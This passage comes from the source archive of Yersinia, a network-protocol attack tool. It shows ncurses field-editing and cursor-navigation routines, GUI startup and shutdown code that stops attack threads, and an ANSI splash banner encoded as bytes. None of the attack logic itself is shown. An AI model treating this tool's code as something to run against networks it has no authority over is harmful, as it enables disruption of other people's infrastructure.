params[state].size_print, params[state].size); } curs_set(1); ncurses_c_refresh_bwindow(mode, bwindow, node); /* fix to come back to the position */ wmove(bwindow, y, x); } break; default: if ((params[state].type == FIELD_HEX) || (params[state].type == FIELD_MAC) || (params[state].type == FIELD_BRIDGEID) || (params[state].type == FIELD_BYTES)) { if (!isxdigit(key_pressed)) /* only hexadecimal characters are allowed */ break; } else if ((params[state].type == FIELD_DEC) || (params[state].type == FIELD_IP)) { if (!isdigit(key_pressed)) break; } else if (params[state].type == FIELD_STR) { if (!isascii(key_pressed)) break; } else /* FIELD_NONE */ break; old_value = mvwinch(bwindow, y, x); mvwaddch(bwindow, y, x, toupper(key_pressed) | A_BOLD); memset((void *)&buffer, 0, 1024); mvwinnstr(bwindow, y, start, buffer, params[state].size_print); if (parser_filter_param(params[state].type, node->protocol[mode].commands_param[state], buffer, params[state].size_print, params[state].size) < 0) { mvwaddch(bwindow, y, x, old_value); wmove(bwindow, y ,x); } else { if (ncurses_c_east(mode, offset, &y, &x, &state, &start) == 0) { wmove(bwindow, y, x); } } break; } if (params[state].meaning) { ncurses_c_set_status_line(" Press TAB for available values "); } else ncurses_c_set_status_line(""); } keypad(bwindow, FALSE); /* Hide the cursor */ curs_set(0); ncurses_c_set_status_line(" Edit mode is over "); } int8_t ncurses_c_learn_packet(u_int8_t mode, u_int8_t pointer, struct term_node *node) { ncurses_c_set_status_line(" Packet learnt. Ouch! "); if (protocols[mode].load_values) return (*protocols[mode].load_values)((struct pcap_data *)&protocols[mode].stats[pointer], node->protocol[mode].tmp_data); else { write_log(0, "Warning: no load_values in protocol %d\n", mode); return -1; } } int8_t ncurses_c_set_status_line(char *msg) { u_int8_t row, col, size; getmaxyx(stdscr, row, col); size = strlen(msg); /* Clear the last status line */ werase(info_window); //wmove(info_window, 0, 1); if (size) { wattron(info_window, COLOR_PAIR(3)); if (size > row) mvwaddnstr(info_window, 0, 0, msg, row - 1); else mvwaddnstr(info_window, 0, 0, msg, size); } /* Nice */ /* wmove(info_window, 0, 1);*/ wrefresh(info_window); return 0; } int8_t ncurses_c_term_resize(struct term_node *node) { #ifdef CAN_RESIZE struct winsize size; struct term_console *term_console; term_console = node->specific; if (ioctl(fileno(stdout), TIOCGWINSZ, &size) == 0) { if ((size.ws_row < NCURSES_MIN_ROWS) || (size.ws_col < NCURSES_MIN_COLS)) ncurses_i_error_window(1, "Hmmm.. %d rows and %d cols are \ not supported for a proper display!!!!. You need at least \ %d rows and %d cols.", size.ws_row, size.ws_col, NCURSES_MIN_ROWS, NCURSES_MIN_COLS); else { #ifdef HAVE_NCURSES_RESIZETERM resizeterm(size.ws_row, size.ws_col); #else resize_term(size.ws_row, size.ws_col); #endif resize_term(size.ws_row, size.ws_col); wrefresh(curscr); /* Linux needs this */ term_console->need_resize = 2; } } else thread_error("Error in ioctl", errno); #endif return 0; } /* Functions needed for editing the bwindow values */ int8_t ncurses_c_north(u_int8_t mode, u_int32_t offset, u_int32_t *row, u_int32_t *pos, u_int8_t *state, u_int32_t *start) { struct commands_param *params; u_int8_t position, i, last_state; u_int32_t last; last = 0; last_state = 0; params = (struct commands_param *) protocols[mode].parameters; if (*row == 1) return -1; /* Up by one */ (*row)--; position = offset + 2; for (i = 0; i < protocols[mode].nparams; i++) { if ((params[i].type != FIELD_IFACE) && (params[i].type != FIELD_DEFAULT) && (params[i].type != FIELD_EXTRA)) { if (params[i].row == *row) { position += strlen(params[i].ldesc) + 1; *start = position; last = position; last_state = i; if (*pos < (position + params[i].size_print)) { *pos = position; *state = i; return 0; } position += params[i].size_print + 1; } } } *pos = last; *state = last_state; return 0; } int8_t ncurses_c_south(u_int8_t mode, u_int32_t offset, u_int32_t *row, u_int32_t *pos, u_int8_t *state, u_int32_t *start) { struct commands_param *params; u_int8_t position, i, last_valid; params = (struct commands_param *) protocols[mode].parameters; if (*row == 5) return -1; /* Down by one */ (*row)++; last_valid = 0; position = offset + 2; for (i = 0; i < protocols[mode].nparams; i++) { if ((params[i].type != FIELD_IFACE) && (params[i].type != FIELD_DEFAULT) && (params[i].type != FIELD_EXTRA)) { if (params[i].row == *row) { position += strlen(params[i].ldesc) + 1; *start = position; if (*pos < (position + params[i].size_print)) { *pos = position; *state = i; return 0; } last_valid = i; position += params[i].size_print + 1; } } } /* Are there rows in the next row? */ if (position == (offset + 2)) { (*row)--; return -1; } *pos = position - params[last_valid].size_print - 1; *state = last_valid; return 0; } int8_t ncurses_c_east(u_int8_t mode, u_int32_t offset, u_int32_t *row, u_int32_t *pos, u_int8_t *state, u_int32_t *start) { struct commands_param *params; u_int8_t position, i, next_state; next_state = 0; params = (struct commands_param *) protocols[mode].parameters; position = offset + 2; for (i = 0; i < protocols[mode].nparams; i++) { if ((params[i].type != FIELD_IFACE) && (params[i].type != FIELD_DEFAULT) && (params[i].type != FIELD_EXTRA)) { if (params[i].row == *row) { position += strlen(params[i].ldesc) + 1; *start = position; if (next_state) { (*pos) = position; *state = i; return 0; } if ( (position < ((*pos) + 1) && (((*pos) + 1)) < (position + params[i].size_print))) { (*pos)++; if ((params[i].type ==FIELD_MAC) && (((*pos) - position + 1) % 3 == 0)) (*pos)++; else if ((params[i].type ==FIELD_BRIDGEID) && (((*pos) - position + 1) == 5)) (*pos)++; else if ((params[i].type ==FIELD_IP) && (((*pos) - position + 1) % 4 == 0)) (*pos)++; *state = i; return 0; } position += params[i].size_print + 1; if ( (*pos + 1) == (position - 1)) { next_state = 1; } } } } return 0; } int8_t ncurses_c_west(u_int8_t mode, u_int32_t offset, u_int32_t *row, u_int32_t *pos, u_int8_t *state, u_int32_t *start) { struct commands_param *params; u_int8_t position, i, prev_state; u_int32_t prev_pos; prev_state = 0; prev_pos = 0; params = (struct commands_param *) protocols[mode].parameters; position = offset + 2; for (i = 0; i < protocols[mode].nparams; i++) { if ((params[i].type != FIELD_IFACE) && (params[i].type != FIELD_DEFAULT) && (params[i].type != FIELD_EXTRA)) { if (params[i].row == *row) { position += strlen(params[i].ldesc) + 1; *start = position; if ( (*pos == position) && (prev_pos > 0)) { *pos = prev_pos; *state = prev_state; } if ( (position <= ((*pos) - 1) && (((*pos) - 1)) < (position + params[i].size_print))) { (*pos)--; if ((params[i].type ==FIELD_MAC) && (((*pos) - position + 1) % 3 == 0)) (*pos)--; else if ((params[i].type ==FIELD_BRIDGEID) && (((*pos) - position + 1) == 5)) (*pos)--; else if ((params[i].type ==FIELD_IP) && (((*pos) - position + 1) % 4 == 0)) (*pos)--; *state = i; return 0; } position += params[i].size_print + 1; prev_pos = position - 2; prev_state = i; } } } return 0; } yersinia-0.7.3/src/ncurses-gui.c0000644000175000017500000001565512234207266014365 0ustar nknk/* ncurses-gui.c * Implementation for ncurses GUI * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef lint static const char rcsid[] = "$Id: ncurses-gui.c 43 2007-04-27 11:07:17Z slay $"; #endif #ifdef HAVE_CONFIG_H #include #endif #define _REENTRANT #include #include #ifdef HAVE_SYS_TYPES_H #include #endif #ifdef HAVE_INTTYPES_H #include #endif #include #ifdef HAVE_NETINET_IN_SYSTM_H #include #else #ifdef HAVE_NETINET_IN_SYSTEM_H #include #endif #endif #include #include #include #include #ifdef TIME_WITH_SYS_TIME #include #endif #ifdef HAVE_UNISTD_H #include #endif #ifdef HAVE_STRING_H #include #endif #ifdef HAVE_STRINGS_H #include #endif #ifdef HAVE_BSTRING_H #include #endif #ifdef STDC_HEADERS #include #endif #include #include #ifdef SOLARIS #include #include #else #include #endif #include "ncurses-gui.h" #include "ncurses-interface.h" #include "ncurses-callbacks.h" /* * Initialization routines for the GUI */ void ncurses_gui(void *args) { int tmp; WINDOW *my_wins[NCURSES_MAX_WINDOWS]; PANEL *my_panels[NCURSES_MAX_WINDOWS]; struct term_node *term_node = NULL; time_t this_time; sigset_t mask; struct interface_data *iface_data=NULL, *iface; terms->work_state = RUNNING; pthread_mutex_lock(&terms->gui_th.finished); write_log(0,"\n ncurses_gui_th = %d\n",(int)pthread_self()); sigfillset(&mask); if (pthread_sigmask(SIG_BLOCK, &mask, NULL)) { thread_error("ncurses_gui_th pthread_sigmask()",errno); ncurses_gui_th_exit(NULL); } if (pthread_mutex_lock(&terms->mutex) != 0) { thread_error("ncurses_gui_th pthread_mutex_lock",errno); ncurses_gui_th_exit(NULL); } if (term_add_node(&term_node, TERM_CON, (int)NULL, pthread_self()) < 0) { if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("ncurses_gui_th pthread_mutex_unlock",errno); ncurses_gui_th_exit(NULL); } if (term_node == NULL) { write_log(0, "Ouch!! No more than %d %s accepted!!\n", term_type[TERM_CON].max, term_type[TERM_CON].name); if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("ncurses_gui_th pthread_mutex_unlock",errno); ncurses_gui_th_exit(NULL); } this_time = time(NULL); #ifdef HAVE_CTIME_R #ifdef SOLARIS ctime_r(&this_time,term_node->since, sizeof(term_node->since)); #else ctime_r(&this_time,term_node->since); #endif #else pthread_mutex_lock(&mutex_ctime); strncpy(term_node->since, ctime(&this_time), sizeof(term_node->since)); pthread_mutex_unlock(&mutex_ctime); #endif /* Just to remove the cr+lf...*/ term_node->since[sizeof(term_node->since)-2] = 0; /* This is a console so, man... ;) */ strncpy(term_node->from_ip, "127.0.0.1", sizeof(term_node->from_ip)); /* Parse config file */ if (strlen(tty_tmp->config_file)) if (parser_read_config_file(tty_tmp, term_node) < 0) { write_log(0, "Error reading configuration file\n"); /* ncurses_gui_th_exit(term_node); */ } if (pthread_mutex_unlock(&terms->mutex) != 0) { thread_error("ncurses_gui_th pthread_mutex_unlock",errno); ncurses_gui_th_exit(term_node); } if (ncurses_i_init(my_wins, my_panels, term_node) < 0) ncurses_gui_th_exit(term_node); if (interfaces->list) iface_data = dlist_data(interfaces->list); else { ncurses_i_error_window(0, "Hmm... you don't have any valid interface. \ %s is useless. Go and get a life!", PACKAGE); ncurses_gui_th_exit(term_node); } /* take the first valid interface */ if (strlen(iface_data->ifname)) { if (ncurses_i_error_window(0, "Warning: interface %s selected as the default one", iface_data->ifname) < 0) ncurses_gui_th_exit(term_node); if ((tmp = interfaces_enable(iface_data->ifname)) == -1) { if (ncurses_i_error_window(1, "Unable to use interface %s!! (Maybe nonexistent?)\n\n", iface_data->ifname) < 0) ncurses_gui_th_exit(term_node); } else { iface = (struct interface_data *) calloc(1, sizeof(struct interface_data)); memcpy((void *)iface, (void *)iface_data, sizeof(struct interface_data)); term_node->used_ints->list = dlist_append(term_node->used_ints->list, iface); } } else { if (ncurses_i_error_window(1, "Hmm... you don't have any valid interface. \ %s is useless. Go and get a life!", PACKAGE) < 0) ncurses_gui_th_exit(term_node); } ncurses_c_engine(my_wins, my_panels, term_node); ncurses_gui_th_exit(term_node); } /* * GUI destroy. End */ void ncurses_gui_th_exit(struct term_node *term_node) { dlist_t *p; struct interface_data *iface_data; if (endwin() == ERR) thread_error("Error in endwin", errno); write_log(0, "\n ncurses_gui_th_exit start...\n"); if (term_node) { for (p = term_node->used_ints->list; p; p = dlist_next(term_node->used_ints->list, p)) { iface_data = (struct interface_data *) dlist_data(p); interfaces_disable(iface_data->ifname); } attack_kill_th(term_node,ALL_ATTACK_THREADS); if (pthread_mutex_lock(&terms->mutex) != 0) thread_error("ncurses_gui_th pthread_mutex_lock",errno); term_delete_node(term_node, NOKILL_THREAD); if (pthread_mutex_unlock(&terms->mutex) != 0) thread_error("ncurses_gui_th pthread_mutex_unlock",errno); } write_log(0," ncurses_gui_th_exit finish...\n"); if (pthread_mutex_unlock(&terms->gui_th.finished) != 0) thread_error("ncurses_gui_th pthread_mutex_unlock",errno); terms->work_state = STOPPED; terms->gui_th.id = 0; pthread_exit(NULL); } yersinia-0.7.3/src/global.h0000644000175000017500000003561312234207266013362 0ustar nknk/* global.h * Global definitions and amazing splash ;) * * $Id: global.h 43 2007-04-27 11:07:17Z slay $ * * Yersinia * By David Barroso and Alfredo Andres * Copyright 2005, 2006, 2007 Alfredo Andres and David Barroso * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 * of the License, or (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. */ #ifndef __GLOBAL_H__ #define __GLOBAL_H__ #include "interfaces.h" #include "protocols.h" pthread_mutex_t mutex_ctime; struct packet_stats packet_stats; struct packet_queue queue[MAX_PROTOCOLS]; int8_t fatal_error; u_int32_t uptime; extern struct protocol_def protocols[MAX_PROTOCOLS]; #if (defined(SOLARIS) && !defined(HAVE_STRERROR)) extern char *sys_errlist[]; #endif /* SOLARIS && !HAVE_STRERROR */ /* begin binary data: */ int8_t bin_data[] = /* 2696 */ { 0x1B,0x5B,0x30,0x6D,0x1B,0x5B,0x31,0x3B,0x33,0x30,0x6D,0x20,0x20,0x20,0x20 ,0xDB,0xB2,0xDB,0xDB,0xB2,0xB2,0xDB,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x30,0x3B,0x33,0x37 ,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x0D,0x0A,0x1B,0x5B,0x41,0x1B,0x5B,0x37 ,0x39,0x43,0x20,0x0A,0x1B,0x5B,0x31,0x3B,0x33,0x30,0x6D,0x20,0x20,0x20,0xB2 ,0xDB,0x1B,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB0,0xB0,0xB0,0xB2,0xB2,0x1B,0x5B ,0x30,0x3B,0x31,0x3B,0x33,0x30,0x6D,0xDB,0xB2,0xB2,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x30 ,0x3B,0x33,0x37,0x6D,0x20,0x20,0x1B,0x5B,0x33,0x34,0x6D,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20 ,0x20,0x20,0x20,0x0D,0x0A,0x1B,0x5B,0x41,0x1B,0x5B,0x37,0x39,0x43,0x20,0x0A ,0x1B,0x5B,0x31,0x3B,0x33,0x30,0x6D,0x20,0xDB,0xB2,0x1B,0x5B,0x35,0x3B,0x33 ,0x34,0x6D,0xB2,0xB2,0xB0,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x36,0x6D,0xDB ,0xDB,0xDB,0x1B,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB0,0xB2,0x1B,0x5B,0x30,0x3B ,0x31,0x3B,0x33,0x30,0x6D,0xDB,0xB2,0xB2,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x30,0x3B,0x33,0x37,0x6D ,0x20,0x1B,0x5B,0x33,0x34,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B ,0x31,0x3B,0x33,0x31,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x30,0x3B,0x33,0x34,0x6D,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x0D,0x0A,0x1B,0x5B,0x41,0x1B ,0x5B,0x37,0x39,0x43,0x20,0x0A,0x1B,0x5B,0x31,0x3B,0x33,0x30,0x6D,0xB2,0xB2 ,0x1B,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB0,0xB2,0xB0,0x1B,0x5B,0x30,0x3B,0x31 ,0x3B,0x33,0x36,0x6D,0xDB,0xB1,0x1B,0x5B,0x33,0x34,0x6D,0xB2,0x1B,0x5B,0x33 ,0x36,0x6D,0xB1,0xDB,0x1B,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB2,0xB0,0xB0,0x1B ,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x30,0x6D,0xB2,0xB2,0xB2,0xDB,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x30,0x3B,0x33,0x34,0x6D ,0x20,0x20,0x20,0x20,0x1B,0x5B,0x31,0x3B,0x33,0x31,0x6D,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x1B,0x5B,0x30,0x3B,0x33,0x34,0x6D,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x0D,0x0A,0x1B,0x5B,0x41,0x1B,0x5B,0x37,0x39,0x43 ,0x20,0x0A,0x1B,0x5B,0x31,0x3B,0x35,0x6D,0xB0,0xB2,0xB0,0xB0,0x1B,0x5B,0x30 ,0x3B,0x31,0x3B,0x33,0x36,0x6D,0xDB,0xB1,0x1B,0x5B,0x33,0x34,0x6D,0xB2,0xB1 ,0xB2,0xB2,0x1B,0x5B,0x33,0x36,0x6D,0xB1,0xDB,0x1B,0x5B,0x35,0x3B,0x33,0x34 ,0x6D,0xB2,0xB2,0xB0,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x30,0x6D,0xB2,0xB2 ,0xDB,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B ,0x30,0x3B,0x33,0x34,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20,0x20,0x20,0x20,0x0D ,0x0A,0x1B,0x5B,0x41,0x1B,0x5B,0x37,0x39,0x43,0x20,0x0A,0x1B,0x5B,0x31,0x3B ,0x33,0x30,0x6D,0xB2,0x1B,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB0,0xB2,0xB0,0x1B ,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x36,0x6D,0xDB,0xB1,0x1B,0x5B,0x33,0x34,0x6D ,0xB2,0xB1,0xB1,0xB2,0xB2,0x1B,0x5B,0x33,0x36,0x6D,0xB1,0xDB,0x1B,0x5B,0x35 ,0x3B,0x33,0x34,0x6D,0xB0,0xB0,0xB2,0xB0,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33 ,0x30,0x6D,0xB2,0xB2,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B ,0x5B,0x30,0x3B,0x33,0x37,0x6D,0x20,0x20,0x1B,0x5B,0x33,0x34,0x6D,0x20,0x20 ,0x1B,0x5B,0x31,0x3B,0x33,0x31,0x6D,0x20,0x59,0x65,0x72,0x73,0x69,0x6E,0x69 ,0x61,0x2E,0x2E,0x2E,0x1B,0x5B,0x30,0x3B,0x33,0x37,0x6D,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x33,0x34,0x6D,0x20,0x20 ,0x20,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20,0x20,0x20,0x0D,0x0A,0x1B,0x5B,0x41 ,0x1B,0x5B,0x37,0x39,0x43,0x20,0x0A,0x1B,0x5B,0x31,0x3B,0x33,0x30,0x6D,0xB2 ,0xB2,0x1B,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB0,0xB0,0xB2,0x1B,0x5B,0x30,0x3B ,0x31,0x3B,0x33,0x36,0x6D,0xDB,0x1B,0x5B,0x33,0x34,0x6D,0xB2,0xB2,0xB1,0xB2 ,0xB2,0xB1,0xB2,0x1B,0x5B,0x33,0x36,0x6D,0xB1,0xDB,0x1B,0x5B,0x35,0x3B,0x33 ,0x34,0x6D,0xB0,0xB2,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x30,0x6D,0xDB,0xDB ,0xB2,0xB2,0xB2,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x30,0x3B ,0x33,0x37,0x6D,0x20,0x1B,0x5B,0x33,0x34,0x6D,0x20,0x20,0x1B,0x5B,0x33,0x37 ,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B,0x33,0x34 ,0x6D,0x20,0x20,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20,0x20,0x20,0x0D,0x0A,0x1B ,0x5B,0x41,0x1B,0x5B,0x37,0x39,0x43,0x20,0x0A,0x1B,0x5B,0x31,0x3B,0x33,0x30 ,0x6D,0xDB,0xB2,0x1B,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB2,0xB2,0xB0,0x1B,0x5B ,0x30,0x3B,0x31,0x3B,0x33,0x36,0x6D,0xDB,0xB1,0x1B,0x5B,0x33,0x34,0x6D,0xB2 ,0xB2,0xB2,0xB1,0xB1,0xB2,0xB2,0x1B,0x5B,0x33,0x36,0x6D,0xB1,0xDB,0xDB,0x1B ,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB0,0xB2,0xB0,0x1B,0x5B,0x30,0x3B,0x31,0x3B ,0x33,0x30,0x6D,0xDB,0xDB,0xB2,0xB2,0xB2,0x20,0x20,0x20,0x20,0x1B,0x5B,0x30 ,0x3B,0x33,0x37,0x6D,0x20,0x20,0x1B,0x5B,0x33,0x34,0x6D,0x20,0x20,0x1B,0x5B ,0x33,0x37,0x6D,0x20,0x1B,0x5B,0x31,0x6D,0x54,0x68,0x65,0x20,0x1B,0x5B,0x33 ,0x30,0x6D,0x42,0x6C,0x61,0x63,0x6B,0x20,0x44,0x65,0x61,0x74,0x68,0x1B,0x5B ,0x33,0x37,0x6D,0x20,0x66,0x6F,0x72,0x20,0x6E,0x6F,0x77,0x61,0x64,0x61,0x79 ,0x73,0x20,0x6E,0x65,0x74,0x77,0x6F,0x72,0x6B,0x73,0x1B,0x5B,0x30,0x6D,0x20 ,0x20,0x1B,0x5B,0x33,0x34,0x6D,0x20,0x20,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20 ,0x20,0x20,0x0D,0x0A,0x1B,0x5B,0x41,0x1B,0x5B,0x37,0x39,0x43,0x20,0x0A,0x1B ,0x5B,0x31,0x3B,0x33,0x30,0x6D,0x20,0xB2,0xB2,0x1B,0x5B,0x35,0x3B,0x33,0x34 ,0x6D,0xB2,0xB0,0xB2,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x36,0x6D,0xDB,0xDB ,0xB1,0x1B,0x5B,0x33,0x34,0x6D,0xB2,0xB2,0xB2,0xB2,0xB2,0xB2,0xB2,0xB2,0x1B ,0x5B,0x33,0x36,0x6D,0xB1,0xDB,0x1B,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB0,0xB0 ,0xB2,0xB2,0xB0,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x30,0x6D,0xB2,0xB2,0x20 ,0x20,0x20,0x20,0x1B,0x5B,0x30,0x3B,0x33,0x37,0x6D,0x20,0x1B,0x5B,0x33,0x34 ,0x6D,0x20,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x1B,0x5B,0x33,0x34,0x6D,0x20,0x20,0x1B,0x5B,0x33,0x37 ,0x6D,0x20,0x20,0x20,0x0D,0x0A,0x1B,0x5B,0x41,0x1B,0x5B,0x37,0x39,0x43,0x20 ,0x0A,0x1B,0x5B,0x31,0x3B,0x33,0x30,0x6D,0x20,0xB2,0xDB,0xDB,0x1B,0x5B,0x35 ,0x3B,0x33,0x34,0x6D,0xB0,0xB0,0xB2,0xB0,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33 ,0x36,0x6D,0xDB,0xB1,0x1B,0x5B,0x33,0x34,0x6D,0xB2,0xB2,0xB1,0xB1,0xB1,0xB2 ,0xB2,0xB2,0xB2,0xB2,0x1B,0x5B,0x33,0x36,0x6D,0xB1,0xDB,0x1B,0x5B,0x35,0x3B ,0x33,0x34,0x6D,0xB0,0xB2,0xB2,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x30,0x6D ,0xDB,0xB2,0xB2,0x20,0x20,0x20,0x1B,0x5B,0x30,0x3B,0x33,0x34,0x6D,0x20,0x20 ,0x1B,0x5B,0x33,0x37,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B,0x5B ,0x31,0x3B,0x33,0x31,0x6D,0x62,0x79,0x20,0x53,0x6C,0x61,0x79,0x20,0x26,0x20 ,0x74,0x6F,0x6D,0x61,0x63,0x1B,0x5B,0x30,0x3B,0x33,0x37,0x6D,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x1B ,0x5B,0x33,0x34,0x6D,0x20,0x20,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20,0x20,0x20 ,0x0D,0x0A,0x1B,0x5B,0x41,0x1B,0x5B,0x37,0x39,0x43,0x20,0x0A,0x1B,0x5B,0x31 ,0x3B,0x33,0x30,0x6D,0x20,0x20,0xDB,0xB2,0xB2,0xDB,0x1B,0x5B,0x35,0x3B,0x33 ,0x34,0x6D,0xB2,0xB0,0xB0,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x36,0x6D,0xDB ,0xB1,0x1B,0x5B,0x33,0x34,0x6D,0xB2,0xB2,0xB2,0xB1,0xB1,0xB2,0xB2,0xB2,0xB2 ,0xB2,0xB2,0x1B,0x5B,0x33,0x36,0x6D,0xB1,0xDB,0x1B,0x5B,0x35,0x3B,0x33,0x34 ,0x6D,0xB2,0xB0,0xB0,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33,0x30,0x6D,0xB2,0xB2 ,0xDB,0x1B,0x5B,0x30,0x3B,0x33,0x37,0x6D,0x20,0x1B,0x5B,0x33,0x34,0x6D,0x20 ,0x20,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20,0x20 ,0x20,0x1B,0x5B,0x33,0x34,0x6D,0x20,0x20,0x20,0x1B,0x5B,0x33,0x37,0x6D,0x20 ,0x20,0x20,0x0D,0x0A,0x1B,0x5B,0x41,0x1B,0x5B,0x37,0x39,0x43,0x20,0x0A,0x1B ,0x5B,0x31,0x3B,0x33,0x30,0x6D,0x20,0x20,0x20,0x20,0x20,0xB2,0xB2,0xDB,0x1B ,0x5B,0x35,0x3B,0x33,0x34,0x6D,0xB2,0xB0,0x1B,0x5B,0x30,0x3B,0x31,0x3B,0x33 ,0x36,0x6D,0xDB,0xB1,0xB1,0x1B,0x5B,0x33,0x34,0x6D,0xB2,0xB2,0xB1,0xB1,0xB1 ,0xB1,0xB1,0xB1,0xB2,0xB2,0xB2,0x1B,0x5B,0x33,0x36,0x6D,0xB1,0xDB,0x1B,0x5B 